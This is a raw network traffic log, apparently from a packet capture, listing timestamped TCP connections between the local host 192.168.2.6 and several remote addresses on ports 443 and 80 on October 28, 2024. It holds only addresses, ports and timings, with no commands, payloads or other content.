Oct 28, 2024 02:07:26.233088970 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.233160019 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.242057085 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.242069006 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.242115021 CET	49794	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.242120981 CET	443	49794	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.245105982 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.245176077 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.245352030 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.245502949 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.245541096 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.440376997 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.441005945 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.441023111 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.442495108 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.442502022 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.447551012 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.447911024 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.447926044 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.448482990 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.448487997 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.584044933 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.584054947 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.584108114 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.584178925 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.584320068 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.584335089 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.584351063 CET	49795	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.584357023 CET	443	49795	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.588644028 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.588685989 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.588792086 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.589283943 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.589283943 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.589299917 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.589369059 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.589513063 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.589530945 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.589541912 CET	49796	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.589546919 CET	443	49796	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.592107058 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.592180014 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.592257977 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.592502117 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.592535019 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.629337072 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.629971027 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.629986048 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.630454063 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:26.630460978 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:26.885251999 CET	49804	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:26.885283947 CET	443	49804	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:26.885386944 CET	49804	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:26.885606050 CET	49804	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:26.885621071 CET	443	49804	172.217.18.14	192.168.2.6
Oct 28, 2024 02:07:27.079652071 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.080095053 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.080246925 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.080307961 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.080307961 CET	49797	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.080354929 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.080382109 CET	443	49797	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.083760977 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.084244967 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.084285021 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.084350109 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.084693909 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.084707022 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.084745884 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.084762096 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.085155010 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.085161924 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.086884975 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.087637901 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.087686062 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.088510036 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.088522911 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.414800882 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.415088892 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.415155888 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.415623903 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.415623903 CET	49801	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.415667057 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.415694952 CET	443	49801	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.417824984 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.417946100 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.418059111 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.419656992 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.419667959 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.419678926 CET	49798	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.419684887 CET	443	49798	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.421343088 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.421380043 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.421473980 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.421866894 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.421881914 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.425262928 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.425298929 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.425379992 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.425676107 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.425944090 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.425965071 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.426208019 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.426229954 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.426621914 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.426635027 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.427866936 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.428591013 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.428606987 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.429162025 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.429172039 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.461020947 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:27.461088896 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:27.555540085 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.555779934 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.555907965 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.556049109 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.556090117 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.556138992 CET	49803	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.556154966 CET	443	49803	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.556318998 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.556516886 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.556623936 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.557456017 CET	49802	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.557471991 CET	443	49802	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.559739113 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.559792995 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.560024023 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.560925961 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.560950041 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.561062098 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.561534882 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.561594009 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.561816931 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:27.561829090 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:27.581017017 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:27.586348057 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:27.598853111 CET	49746	443	192.168.2.6	142.250.186.68
Oct 28, 2024 02:07:27.599025965 CET	49804	443	192.168.2.6	172.217.18.14
Oct 28, 2024 02:07:28.012614965 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.013489008 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.013536930 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.013830900 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.013837099 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.141755104 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.142337084 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.142407894 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.143121004 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.143137932 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.143148899 CET	49805	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.143153906 CET	443	49805	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.148278952 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.148344994 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.148549080 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.149420023 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.149451017 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.163218021 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.163950920 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.163975954 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.164566994 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.164572954 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.174096107 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.174633980 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.174649954 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.175211906 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.175218105 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.294317961 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.294553041 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.298564911 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.301867962 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.301867962 CET	49806	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.301892996 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.301898956 CET	443	49806	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.302632093 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.303333998 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.303347111 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.303971052 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.303975105 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.305480957 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.305506945 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.305660009 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.305732965 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.305759907 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.305769920 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.305881977 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.306130886 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.306130886 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.306162119 CET	49807	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.306174994 CET	443	49807	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.307931900 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.308454990 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.308475971 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.308501959 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.308517933 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.308686018 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.308806896 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.308820009 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.310432911 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.310444117 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.357269049 CET	80	49800	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:28.358555079 CET	49800	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:28.431188107 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.431355000 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.431425095 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.431862116 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.431862116 CET	49809	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.431873083 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.431881905 CET	443	49809	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.435765028 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.435792923 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.436788082 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.436959028 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.436971903 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.451704025 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.451775074 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.451906919 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.451980114 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.451981068 CET	49808	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.452009916 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.452033043 CET	443	49808	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.455845118 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.455867052 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.455929995 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.456363916 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.456374884 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.887970924 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.888726950 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.888782024 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:28.889164925 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:28.889178038 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.222455025 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.222532988 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.222599030 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.222847939 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.222873926 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.222891092 CET	49810	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.222899914 CET	443	49810	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.226021051 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.226047993 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.226145029 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.226531982 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.226542950 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.227224112 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.227721930 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.227732897 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.228816986 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.228828907 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.234888077 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.235893011 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.235905886 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.236960888 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.236968040 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.237341881 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.237757921 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.237763882 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.238418102 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.238420963 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.239113092 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.239612103 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.239624977 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.240931988 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.240936995 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.358910084 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.366592884 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.366661072 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.366713047 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.366806984 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.366815090 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.366827965 CET	49812	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.366833925 CET	443	49812	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.370394945 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.370408058 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.370474100 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.370820045 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.370831966 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.371786118 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.372668028 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.372741938 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.372828960 CET	49814	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.372836113 CET	443	49814	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.375541925 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.375569105 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.375634909 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.377146006 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.377160072 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.411741972 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.411755085 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.412553072 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.412553072 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.412569046 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.412734985 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.412772894 CET	443	49811	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.413384914 CET	49811	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.416707039 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.416728973 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.416784048 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.417282104 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.417299986 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.451210022 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.451391935 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.451478958 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.471019983 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.471036911 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.471060038 CET	49813	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.471065044 CET	443	49813	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.483529091 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.483558893 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.483629942 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.483793020 CET	49819	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:29.483804941 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:29.973773956 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.021085024 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.022602081 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.022612095 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.024487972 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.024493933 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.112870932 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.125597000 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.147453070 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.151356936 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.151386976 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.151418924 CET	49816	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.151423931 CET	443	49816	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.152230978 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.152230978 CET	49817	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.152247906 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.152264118 CET	443	49817	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.155076027 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.155266047 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.155492067 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.158705950 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.158705950 CET	49815	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.158720970 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.158729076 CET	443	49815	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.159392118 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.159410000 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.159883976 CET	49818	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:30.159888983 CET	443	49818	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.221507072 CET	443	49819	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:30.240268946 CET	49819	443	192.168.2.6	13.107.246.60
